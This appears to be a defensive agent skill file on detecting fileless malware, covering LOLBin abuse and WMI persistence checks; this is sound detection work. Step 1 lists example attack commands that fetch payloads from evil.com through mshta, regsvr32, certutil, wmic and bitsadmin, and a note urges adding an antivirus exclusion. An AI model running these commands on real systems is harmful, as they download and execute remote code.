Detecting Fileless Malware Techniques

When to Use

• EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
• Investigating attacks that leave no traditional malware files on disk
• Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
• Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
• Memory forensics reveals malicious code but no corresponding files exist on the filesystem

Do not use for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.

Windows Defender / Antivirus False Positive

Some endpoint antivirus products — notably Windows Defender (signature Trojan:script/Wacatac.H!ml) — may quarantine this skill's SKILL.md as malicious. This is a known false positive: the file intentionally documents fileless attack patterns (LOLBins, encoded PowerShell, memory YARA indicators) for defensive detection and investigation. The content is educational only; it does not execute code.

If quarantined: restore the file from quarantine, add an exclusion for your local agent skills directory, and see GitHub issue #100 for discussion. YARA strings live in references/yara-fileless-powershell.yar (not inline in this file) to reduce scanner triggers while preserving the rule for analysts.

Prerequisites

• Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
• PowerShell Script Block Logging and Module Logging enabled
• Volatility 3 for memory forensics of fileless malware artifacts
• Process Monitor (ProcMon) for real-time system activity monitoring
• Windows Event Log access with adequate retention policies
• Autoruns for identifying persistence mechanisms

Workflow

Step 1: Identify LOLBin Usage

Detect abuse of legitimate Windows binaries for malicious purposes:

Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
  Abuse: Execute HTA files with embedded VBScript/JScript
  Example: mshta http://evil.com/payload.hta
  Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
  Detect: mshta.exe with URL argument or vbscript: prefix

regsvr32.exe:
  Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
  Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
  Detect: regsvr32.exe with /i: URL parameter

certutil.exe:
  Abuse: Download files, decode Base64
  Example: certutil -urlcache -split -f http://evil.com/payload.exe
  Example: certutil -decode encoded.txt payload.exe
  Detect: certutil.exe with -urlcache or -decode arguments

rundll32.exe:
  Abuse: Execute DLL functions, JavaScript
  Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
  Detect: rundll32.exe with javascript: argument

wmic.exe:
  Abuse: Execute code via XSL stylesheets
  Example: wmic process get brief /format:"http://evil.com/payload.xsl"
  Detect: wmic.exe with /format: URL parameter

bitsadmin.exe:
  Abuse: Download files via BITS
  Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
  Detect: bitsadmin.exe with /transfer or /addfile to external URL

cmstp.exe:
  Abuse: Execute commands via INF file
  Example: cmstp.exe /ni /s payload.inf
  Detect: cmstp.exe execution from non-standard locations

Step 2: Detect WMI-Based Persistence

Analyze WMI event subscriptions used for fileless persistence:

# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list

# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

…